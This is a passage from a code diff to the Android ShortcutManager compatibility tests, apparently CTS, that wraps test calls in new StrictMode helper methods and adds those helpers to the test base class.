@@ -507,7 +507,7 @@
             assertIconDimensions(mLauncherContext1, mPackageContext1.getPackageName(), "s1",
                     icon4);
         });
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             // No fields updated.
             final ShortcutInfo updated = makeShortcutBuilder("s1")
                     .setShortLabel("xxx")
@@ -525,7 +525,7 @@
             assertIconDimensions(mLauncherContext1, mPackageContext1.getPackageName(), "s1",
                     icon5);
         });
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             // No fields updated.
             final ShortcutInfo updated = makeShortcutBuilder("s1")
                     .setShortLabel("xxx")
@@ -547,18 +547,18 @@
 
     public void testSetDynamicShortcuts_wasPinned() throws Exception {
         // Create s1 as a floating pinned shortcut.
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             assertTrue(getManager().setDynamicShortcuts(list(
                     makeShortcut("s1"))));
         });
 
         setDefaultLauncher(getInstrumentation(), mLauncherContext1);
 
-        runWithCaller(mLauncherContext1, () -> {
+        runWithCallerWithStrictMode(mLauncherContext1, () -> {
             getLauncherApps().pinShortcuts(mPackageContext1.getPackageName(),
                     list("s1"), getUserHandle());
         });
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             getManager().removeDynamicShortcuts(list("s1"));
 
             assertWith(getManager().getDynamicShortcuts())
@@ -572,14 +572,14 @@
     }
 
     public void testAddDynamicShortcuts() {
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             assertTrue(getManager().addDynamicShortcuts(list(
                     makeShortcut("s1", "title1"),
                     makeShortcut("s2", "title2"),
                     makeShortcut("s3", "title3"))));
         });
 
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             assertWith(getManager().getDynamicShortcuts())
                     .areAllEnabled()
                     .areAllDynamic()
@@ -600,12 +600,12 @@
         });
 
         // Publish from different package.
-        runWithCaller(mPackageContext2, () -> {
+        runWithCallerWithStrictMode(mPackageContext2, () -> {
             assertTrue(getManager().addDynamicShortcuts(list(
                     makeShortcut("s1x", "title1x"))));
         });
 
-        runWithCaller(mPackageContext2, () -> {
+        runWithCallerWithStrictMode(mPackageContext2, () -> {
             assertWith(getManager().getDynamicShortcuts())
                     .areAllEnabled()
                     .areAllDynamic()
@@ -620,7 +620,7 @@
         });
 
         // Package 1 still has the same shortcuts.
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             assertWith(getManager().getDynamicShortcuts())
                     .areAllEnabled()
                     .areAllDynamic()
@@ -640,12 +640,12 @@
                     .isEmpty();
         });
 
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             assertTrue(getManager().addDynamicShortcuts(list(
                     makeShortcut("s2", "title2-updated"))));
         });
 
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             assertWith(getManager().getDynamicShortcuts())
                     .areAllEnabled()
                     .areAllDynamic()
@@ -665,11 +665,11 @@
                     .isEmpty();
         });
 
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             assertTrue(getManager().addDynamicShortcuts(list()));
         });
 
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             assertWith(getManager().getDynamicShortcuts())
                     .areAllEnabled()
                     .areAllDynamic()
@@ -690,7 +690,7 @@
         });
 
         // Package2 still has the same shortcuts.
-        runWithCaller(mPackageContext2, () -> {
+        runWithCallerWithStrictMode(mPackageContext2, () -> {
             assertWith(getManager().getDynamicShortcuts())
                     .areAllEnabled()
                     .areAllDynamic()
@@ -713,7 +713,7 @@
         final Icon icon3 = loadPackageDrawableIcon(mPackageContext1, "black_64x16");
         final Icon icon4 = loadPackageDrawableIcon(mPackageContext1, "black_64x64");
 
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             final ShortcutInfo source = makeShortcutBuilder("s1")
                     .setShortLabel("shortlabel")
                     .setLongLabel("longlabel")
@@ -744,7 +744,7 @@
                     icon1);
         });
 
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             // No fields updated.
             final ShortcutInfo updated = makeShortcutBuilder("s1")
                     .setShortLabel("xxx")
@@ -770,7 +770,7 @@
                     getIconAsLauncher(mLauncherContext1, mPackageContext1.getPackageName(), "s1"));
         });
 
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             final ShortcutInfo source = makeShortcutBuilder("s1")
                     .setShortLabel("shortlabel")
                     .setLongLabel("longlabel")
@@ -802,7 +802,7 @@
         });
 
         // paranoid icon check
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             // No fields updated.
             final ShortcutInfo updated = makeShortcutBuilder("s1")
                     .setShortLabel("xxx")
@@ -821,7 +821,7 @@
                     icon2);
         });
 
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             // No fields updated.
             final ShortcutInfo updated = makeShortcutBuilder("s1")
                     .setShortLabel("xxx")
@@ -841,7 +841,7 @@
         });
 
 
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             // No fields updated.
             final ShortcutInfo updated = makeShortcutBuilder("s1")
                     .setShortLabel("xxx")
@@ -863,18 +863,18 @@
 
     public void testAddDynamicShortcuts_wasPinned() throws Exception {
         // Create s1 as a floating pinned shortcut.
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             assertTrue(getManager().setDynamicShortcuts(list(
                     makeShortcut("s1"))));
         });
 
         setDefaultLauncher(getInstrumentation(), mLauncherContext1);
 
-        runWithCaller(mLauncherContext1, () -> {
+        runWithCallerWithStrictMode(mLauncherContext1, () -> {
             getLauncherApps().pinShortcuts(mPackageContext1.getPackageName(),
                     list("s1"), getUserHandle());
         });
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             getManager().removeDynamicShortcuts(list("s1"));
 
             assertWith(getManager().getDynamicShortcuts())
@@ -888,13 +888,13 @@
     }
 
     public void testUpdateShortcut() {
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             assertTrue(getManager().setDynamicShortcuts(list(
                     makeShortcut("s1", "1a"),
                     makeShortcut("s2", "2a"),
                     makeShortcut("s3", "3a"))));
         });
-        runWithCaller(mPackageContext2, () -> {
+        runWithCallerWithStrictMode(mPackageContext2, () -> {
             assertTrue(getManager().setDynamicShortcuts(list(
                     makeShortcut("s1", "1b"),
                     makeShortcut("s2", "2b"),
@@ -903,21 +903,21 @@
 
         setDefaultLauncher(getInstrumentation(), mLauncherContext1);
 
-        runWithCaller(mLauncherContext1, () -> {
+        runWithCallerWithStrictMode(mLauncherContext1, () -> {
             getLauncherApps().pinShortcuts(mPackageContext1.getPackageName(),
                     list("s2", "s3"), getUserHandle());
             getLauncherApps().pinShortcuts(mPackageContext2.getPackageName(),
                     list("s1", "s2"), getUserHandle());
         });
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             getManager().removeDynamicShortcuts(list("s3"));
         });
-        runWithCaller(mPackageContext2, () -> {
+        runWithCallerWithStrictMode(mPackageContext2, () -> {
             getManager().removeDynamicShortcuts(list("s1"));
         });
 
         // Check the current status.
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             assertWith(getManager().getDynamicShortcuts())
                     .areAllEnabled()
                     .areAllDynamic()
@@ -943,7 +943,7 @@
             assertWith(getManager().getManifestShortcuts())
                     .isEmpty();
         });
-        runWithCaller(mPackageContext2, () -> {
+        runWithCallerWithStrictMode(mPackageContext2, () -> {
             assertWith(getManager().getDynamicShortcuts())
                     .areAllEnabled()
                     .areAllDynamic()
@@ -971,21 +971,21 @@
         });
 
         // finally, call update.
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             assertTrue(getManager().updateShortcuts(list(
                     makeShortcut("s1", "upd1a"),
                     makeShortcut("s2", "upd2a"),
                     makeShortcut("xxx") // doen't exist -> ignored.
                     )));
         });
-        runWithCaller(mPackageContext2, () -> {
+        runWithCallerWithStrictMode(mPackageContext2, () -> {
             assertTrue(getManager().updateShortcuts(list(
                     makeShortcut("s1", "upd1b"),
                     makeShortcut("s2", "upd2b"))));
         });
 
         // check.
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             assertWith(getManager().getDynamicShortcuts())
                     .areAllEnabled()
                     .areAllDynamic()
@@ -1011,7 +1011,7 @@
             assertWith(getManager().getManifestShortcuts())
                     .isEmpty();
         });
-        runWithCaller(mPackageContext2, () -> {
+        runWithCallerWithStrictMode(mPackageContext2, () -> {
             assertWith(getManager().getDynamicShortcuts())
                     .areAllEnabled()
                     .areAllDynamic()
@@ -1047,7 +1047,7 @@
         final Icon icon3 = loadPackageDrawableIcon(mPackageContext1, "black_64x16");
         final Icon icon4 = loadPackageDrawableIcon(mPackageContext1, "black_64x64");
 
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             final ShortcutInfo source = makeShortcutBuilder("s1")
                     .setShortLabel("shortlabel")
                     .setLongLabel("longlabel")
@@ -1078,7 +1078,7 @@
                     icon1);
         });
 
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             // No fields updated.
             final ShortcutInfo updated = makeShortcutBuilder("s1")
                     .build();
@@ -1102,7 +1102,7 @@
                     icon1);
         });
 
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             final ShortcutInfo updated = makeShortcutBuilder("s1")
                     .setShortLabel("x")
                     .build();
@@ -1126,7 +1126,7 @@
                     icon1);
         });
 
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             final ShortcutInfo updated = makeShortcutBuilder("s1")
                     .setLongLabel("y")
                     .build();
@@ -1150,7 +1150,7 @@
                     icon1);
         });
 
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             final ShortcutInfo updated = makeShortcutBuilder("s1")
                     .setActivity(getActivity("Launcher2"))
                     .build();
@@ -1174,7 +1174,7 @@
                     icon1);
         });
 
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             final ShortcutInfo updated = makeShortcutBuilder("s1")
                     .setDisabledMessage("z")
                     .build();
@@ -1198,7 +1198,7 @@
                     icon1);
         });
 
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             final ShortcutInfo updated = makeShortcutBuilder("s1")
                     .setIntents(new Intent[]{new Intent("main")})
                     .build();
@@ -1222,7 +1222,7 @@
                     icon1);
         });
 
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             final ShortcutInfo updated = makeShortcutBuilder("s1")
                     .setExtras(makePersistableBundle("ek1", "X"))
                     .build();
@@ -1246,7 +1246,7 @@
                     icon1);
         });
 
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             final ShortcutInfo updated = makeShortcutBuilder("s1")
                     .setCategories(set("dog"))
                     .build();
@@ -1270,7 +1270,7 @@
                     icon1);
         });
 
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             final ShortcutInfo updated = makeShortcutBuilder("s1")
                     .setIcon(icon2)
                     .build();
@@ -1295,7 +1295,7 @@
         });
 
         // More paranoid tests with icons.
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             final ShortcutInfo updated = makeShortcutBuilder("s1")
                     .setIcon(icon1)
                     .build();
@@ -1307,7 +1307,7 @@
         });
 
         // More paranoid tests with icons.
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             final ShortcutInfo updated = makeShortcutBuilder("s1")
                     .setIcon(icon3)
                     .build();
@@ -1318,7 +1318,7 @@
                     icon3);
         });
 
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             final ShortcutInfo updated = makeShortcutBuilder("s1")
                     .setIcon(icon4)
                     .build();
@@ -1329,7 +1329,7 @@
                     icon4);
         });
 
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             final ShortcutInfo updated = makeShortcutBuilder("s1")
                     .setIcon(icon1)
                     .build();
@@ -1352,13 +1352,13 @@
     }
 
     public void testDisableAndEnableShortcut() {
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             assertTrue(getManager().setDynamicShortcuts(list(
                     makeShortcut("s1", "1a"),
                     makeShortcut("s2", "2a"),
                     makeShortcut("s3", "3a"))));
         });
-        runWithCaller(mPackageContext2, () -> {
+        runWithCallerWithStrictMode(mPackageContext2, () -> {
             assertTrue(getManager().setDynamicShortcuts(list(
                     makeShortcut("s1", "1b"),
                     makeShortcut("s2", "2b"),
@@ -1367,21 +1367,21 @@
 
         setDefaultLauncher(getInstrumentation(), mLauncherContext1);
 
-        runWithCaller(mLauncherContext1, () -> {
+        runWithCallerWithStrictMode(mLauncherContext1, () -> {
             getLauncherApps().pinShortcuts(mPackageContext1.getPackageName(),
                     list("s2", "s3"), getUserHandle());
             getLauncherApps().pinShortcuts(mPackageContext2.getPackageName(),
                     list("s1", "s2"), getUserHandle());
         });
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             getManager().removeDynamicShortcuts(list("s3"));
         });
-        runWithCaller(mPackageContext2, () -> {
+        runWithCallerWithStrictMode(mPackageContext2, () -> {
             getManager().removeDynamicShortcuts(list("s1"));
         });
 
         // Check the current status.
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             assertWith(getManager().getDynamicShortcuts())
                     .areAllEnabled()
                     .areAllDynamic()
@@ -1407,7 +1407,7 @@
             assertWith(getManager().getManifestShortcuts())
                     .isEmpty();
         });
-        runWithCaller(mPackageContext2, () -> {
+        runWithCallerWithStrictMode(mPackageContext2, () -> {
             assertWith(getManager().getDynamicShortcuts())
                     .areAllEnabled()
                     .areAllDynamic()
@@ -1435,15 +1435,15 @@
         });
 
         // finally, call disable.
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             getManager().disableShortcuts(list("s1", "s3"));
         });
-        runWithCaller(mPackageContext2, () -> {
+        runWithCallerWithStrictMode(mPackageContext2, () -> {
             getManager().disableShortcuts(list("s1", "s2"), "custom message");
         });
 
         // check
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             assertWith(getManager().getDynamicShortcuts())
                     .areAllEnabled()
                     .areAllDynamic()
@@ -1469,7 +1469,7 @@
                     .isEmpty();
         });
 
-        runWithCaller(mPackageContext2, () -> {
+        runWithCallerWithStrictMode(mPackageContext2, () -> {
             assertWith(getManager().getDynamicShortcuts())
                     .areAllEnabled()
                     .areAllDynamic()
@@ -1496,10 +1496,10 @@
         });
 
         // try re-enable
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             getManager().enableShortcuts(list("s3"));
         });
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             assertWith(getManager().getDynamicShortcuts())
                     .areAllEnabled()
                     .areAllDynamic()
@@ -1524,11 +1524,11 @@
         });
 
         // Re-publish will implicitly re-enable.
-        runWithCaller(mPackageContext2, () -> {
+        runWithCallerWithStrictMode(mPackageContext2, () -> {
             getManager().addDynamicShortcuts(list(makeShortcut("s2", "re-published")));
         });
 
-        runWithCaller(mPackageContext2, () -> {
+        runWithCallerWithStrictMode(mPackageContext2, () -> {
             assertWith(getManager().getDynamicShortcuts())
                     .areAllEnabled()
                     .areAllDynamic()
@@ -1550,7 +1550,7 @@
     }
 
     public void testImmutableShortcuts() {
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             enableManifestActivity("Launcher_manifest_2", true);
 
             retryUntil(() -> getManager().getManifestShortcuts().size() == 2,
@@ -1558,11 +1558,11 @@
         });
         setDefaultLauncher(getInstrumentation(), mLauncherContext1);
 
-        runWithCaller(mLauncherContext1, () -> {
+        runWithCallerWithStrictMode(mLauncherContext1, () -> {
             getLauncherApps().pinShortcuts(mPackageContext1.getPackageName(),
                     list("ms21"), getUserHandle());
         });
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             enableManifestActivity("Launcher_manifest_1", true);
             enableManifestActivity("Launcher_manifest_2", false);
 
@@ -1570,7 +1570,7 @@
                     "Manifest shortcuts didn't show up");
         });
         setDefaultLauncher(getInstrumentation(), mLauncherContext1);
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             assertWith(getManager().getDynamicShortcuts())
                     .isEmpty();
             assertWith(getManager().getPinnedShortcuts())
@@ -1610,7 +1610,7 @@
     public void testManifestDefinition() throws Exception {
         final Icon iconMs21 = loadPackageDrawableIcon(mPackageContext1, "black_16x16");
 
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             enableManifestActivity("Launcher_manifest_2", true);
 
             retryUntil(() -> getManager().getManifestShortcuts().size() > 0,
@@ -1687,7 +1687,7 @@
     }
 
     public void testDynamicIntents() {
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
 
             final ShortcutInfo s1 = makeShortcutBuilder("s1")
                     .setShortLabel("shortlabel")
@@ -1754,7 +1754,7 @@
     }
 
     public void testManifestWithErrors() {
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             enableManifestActivity("Launcher_manifest_error_1", true);
             enableManifestActivity("Launcher_manifest_error_2", true);
             enableManifestActivity("Launcher_manifest_error_3", true);
@@ -1772,7 +1772,7 @@
     }
 
     public void testManifestDisabled() {
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             enableManifestActivity("Launcher_manifest_4a", true);
 
             retryUntil(() -> getManager().getManifestShortcuts().size() > 0,
@@ -1786,11 +1786,11 @@
         });
         setDefaultLauncher(getInstrumentation(), mLauncherContext1);
 
-        runWithCaller(mLauncherContext1, () -> {
+        runWithCallerWithStrictMode(mLauncherContext1, () -> {
             getLauncherApps().pinShortcuts(mPackageContext1.getPackageName(),
                     list("ms41", "ms42"), getUserHandle());
         });
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             enableManifestActivity("Launcher_manifest_4b", true);
             enableManifestActivity("Launcher_manifest_4a", false);
 
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerConfigActivityTest.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerConfigActivityTest.java
index 0614d84..cc8df51 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerConfigActivityTest.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerConfigActivityTest.java
@@ -42,7 +42,7 @@
     public void testGetShortcutConfigActivityList() throws Exception {
         setDefaultLauncher(getInstrumentation(), mLauncherContext1);
 
-        runWithCaller(mLauncherContext1, () -> {
+        runWithCallerWithStrictMode(mLauncherContext1, () -> {
             assertNotNull(getConfigActivity());
             assertNotNull(getLauncherApps().getShortcutConfigActivityIntent(getConfigActivity()));
         });
@@ -50,7 +50,7 @@
         // Get config activity works even for non-default activity.
         setDefaultLauncher(getInstrumentation(), mLauncherContext4);
 
-        runWithCaller(mLauncherContext1, () -> {
+        runWithCallerWithStrictMode(mLauncherContext1, () -> {
             assertNotNull(getConfigActivity());
             // throws exception when default launcher is different.
             assertExpectException(SecurityException.class, null, () ->
@@ -61,7 +61,7 @@
     public void testCorrectIntentSenderCreated() throws Throwable {
         setDefaultLauncher(getInstrumentation(), mLauncherContext1);
         final AtomicReference<IntentSender> sender = new AtomicReference<>();
-        runWithCaller(mLauncherContext1, () ->
+        runWithCallerWithStrictMode(mLauncherContext1, () ->
             sender.set(getLauncherApps().getShortcutConfigActivityIntent(getConfigActivity())));
 
         Instrumentation.ActivityMonitor monitor =
@@ -87,7 +87,7 @@
     public void testCreateShortcutResultIntent_defaultLauncher() throws Exception {
         setDefaultLauncher(getInstrumentation(), mLauncherContext1);
         PinItemRequest request = getShortcutRequestForPackage1();
-        runWithCaller(mLauncherContext1, () -> {
+        runWithCallerWithStrictMode(mLauncherContext1, () -> {
             assertTrue(request.isValid());
             assertTrue(request.accept());
         });
@@ -99,7 +99,7 @@
 
         setDefaultLauncher(getInstrumentation(), mLauncherContext4);
         // Launcher1 can still access the request
-        runWithCaller(mLauncherContext1, () -> {
+        runWithCallerWithStrictMode(mLauncherContext1, () -> {
             assertTrue(request.isValid());
             assertTrue(request.accept());
         });
@@ -110,7 +110,7 @@
         PinItemRequest request = getShortcutRequestForPackage1();
 
         // Launcher1 can still access the request
-        runWithCaller(mLauncherContext1, () -> {
+        runWithCallerWithStrictMode(mLauncherContext1, () -> {
             assertFalse(request.isValid());
             assertExpectException(SecurityException.class, null, request::accept);
         });
@@ -118,7 +118,7 @@
 
     private PinItemRequest getShortcutRequestForPackage1() {
         final AtomicReference<PinItemRequest> result = new AtomicReference<>();
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             final ShortcutInfo shortcut = makeShortcutBuilder(SHORTCUT_ID)
                     .setShortLabel("label1")
                     .setIntent(new Intent(Intent.ACTION_MAIN))
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerCtsTestsBase.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerCtsTestsBase.java
index 1f45a7f..aa0ea527 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerCtsTestsBase.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerCtsTestsBase.java
@@ -33,12 +33,13 @@
 import android.graphics.drawable.Icon;
 import android.os.Bundle;
 import android.os.PersistableBundle;
+import android.os.StrictMode;
+import android.os.StrictMode.ThreadPolicy;
 import android.os.UserHandle;
 import android.support.annotation.NonNull;
 import android.test.InstrumentationTestCase;
 import android.text.TextUtils;
 
-import java.security.SecureRandom;
 import java.util.ArrayList;
 import java.util.HashMap;
 import java.util.List;
@@ -50,6 +51,14 @@
 
     private static final boolean DUMPSYS_IN_TEARDOWN = false; // DO NOT SUBMIT WITH true
 
+    /**
+     * Whether to enable strict mode or not.
+     *
+     * TODO Enable it after fixing b/68051728. Somehow violations would happen on the dashboard
+     * only and can't reproduce it locally.
+     */
+    private static final boolean ENABLE_STRICT_MODE = false;
+
     private static class SpoofingContext extends ContextWrapper {
         private final String mPackageName;
 
@@ -276,6 +285,33 @@
         return mCurrentLauncherApps;
     }
 
+    protected void runWithStrictMode(Runnable r) {
+        final ThreadPolicy oldPolicy = StrictMode.getThreadPolicy();
+        try {
+            if (ENABLE_STRICT_MODE) {
+                StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder()
+                        .detectAll()
+                        .penaltyDeath()
+                        .build());
+            }
+            r.run();
+        } finally {
+            StrictMode.setThreadPolicy(oldPolicy);
+        }
+    }
+
+    protected void runWithNoStrictMode(Runnable r) {
+        final ThreadPolicy oldPolicy = StrictMode.getThreadPolicy();
+        try {
+            StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder()
+                    .permitAll()
+                    .build());
+            r.run();
+        } finally {
+            StrictMode.setThreadPolicy(oldPolicy);
+        }
+    }
+
     protected void runWithCaller(Context callerContext, Runnable r) {
         final Context prev = mCurrentCallerPackage;
 
@@ -286,6 +322,14 @@
         setCurrentCaller(prev);
     }
 
+    protected void runWithCallerWithStrictMode(Context callerContext, Runnable r) {
+        runWithCaller(callerContext, () -> runWithStrictMode(r));
+    }
+
+    protected void runWithCallerWithNoStrictMode(Context callerContext, Runnable r) {
+        runWithCaller(callerContext, () -> runWithNoStrictMode(r));
+    }
+
     public static Bundle makeBundle(Object... keysAndValues) {
         assertTrue((keysAndValues.length % 2) == 0);
 
@@ -437,11 +481,11 @@
 
     protected Drawable getIconAsLauncher(Context launcherContext, String packageName,
             String shortcutId, boolean withBadge) {
-        setDefaultLauncher(getInstrumentation(), launcherContext);
+        runWithNoStrictMode(() -> setDefaultLauncher(getInstrumentation(), launcherContext));
 
         final AtomicReference<Drawable> ret = new AtomicReference<>();
 
-        runWithCaller(launcherContext, () -> {
+        runWithCallerWithNoStrictMode(launcherContext, () -> {
             final ShortcutQuery q = new ShortcutQuery()
                     .setQueryFlags(ShortcutQuery.FLAG_MATCH_DYNAMIC
                                     | ShortcutQuery.FLAG_MATCH_MANIFEST
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerLauncherApiTest.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerLauncherApiTest.java
index e527bf9..f27a60a 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerLauncherApiTest.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerLauncherApiTest.java
@@ -40,7 +40,7 @@
     }
 
     public void testPinShortcuts() {
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             enableManifestActivity("Launcher_manifest_1", true);
             enableManifestActivity("Launcher_manifest_2", true);
 
@@ -59,7 +59,7 @@
                     .areAllDynamic()
                     .areAllEnabled();
         });
-        runWithCaller(mPackageContext2, () -> {
+        runWithCallerWithStrictMode(mPackageContext2, () -> {
             enableManifestActivity("Launcher_manifest_1", true);
             enableManifestActivity("Launcher_manifest_3", true);
 
@@ -81,7 +81,7 @@
 
         setDefaultLauncher(getInstrumentation(), mLauncherContext1);
 
-        runWithCaller(mLauncherContext1, () -> {
+        runWithCallerWithStrictMode(mLauncherContext1, () -> {
             getLauncherApps().pinShortcuts(
                     mPackageContext1.getPackageName(),
                     list("s1", "s2", "s3", "ms1", "ms21"), getUserHandle());
@@ -90,11 +90,11 @@
                     list("s2", "s3", "ms1", "ms31"), getUserHandle());
         });
 
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             getManager().removeDynamicShortcuts(list("s1", "s2"));
         });
 
-        runWithCaller(mPackageContext2, () -> {
+        runWithCallerWithStrictMode(mPackageContext2, () -> {
             enableManifestActivity("Launcher_manifest_3", false);
 
             retryUntil(() -> getManager().getManifestShortcuts().size() == 1,
@@ -104,7 +104,7 @@
         });
 
         // Check the result.
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             assertWith(getManager().getDynamicShortcuts())
                     .haveIds("s3", "s4", "s5")
                     .areAllEnabled();
@@ -116,7 +116,7 @@
                     .areAllEnabled();
         });
 
-        runWithCaller(mPackageContext2, () -> {
+        runWithCallerWithStrictMode(mPackageContext2, () -> {
             assertWith(getManager().getDynamicShortcuts())
                     .haveIds("s3", "s4", "s5")
                     .areAllEnabled();
@@ -142,7 +142,7 @@
         Thread.sleep(2);
         final long time1 = System.currentTimeMillis();
 
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             assertTrue(getManager().updateShortcuts(list(
                     makeShortcut("s3"))));
 
@@ -156,12 +156,12 @@
         Thread.sleep(2);
         final long time2 = System.currentTimeMillis();
 
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             assertTrue(getManager().updateShortcuts(list(
                     makeShortcutWithRank("s4", 999))));
         });
 
-        runWithCaller(mPackageContext2, () -> {
+        runWithCallerWithStrictMode(mPackageContext2, () -> {
             setTargetActivityOverride("Launcher_manifest_1");
 
             assertTrue(getManager().updateShortcuts(list(
@@ -171,7 +171,7 @@
         Thread.sleep(2);
         final long time3 = System.currentTimeMillis();
 
-        runWithCaller(mLauncherContext1, () -> {
+        runWithCallerWithStrictMode(mLauncherContext1, () -> {
             assertWith(getShortcutsAsLauncher(
                     FLAG_MATCH_DYNAMIC,
                     mPackageContext1.getPackageName(),
@@ -311,7 +311,7 @@
 
         final Icon icon5 = loadPackageDrawableIcon(mPackageContext1, "black_16x16");
 
-        runWithCaller(mPackageContext1, () -> {
+        runWithCallerWithStrictMode(mPackageContext1, () -> {
             enableManifestActivity("Launcher_manifest_2", true);
 
             retryUntil(() -> getManager().getManifestShortcuts().size() == 2,
@@ -357,7 +357,7 @@
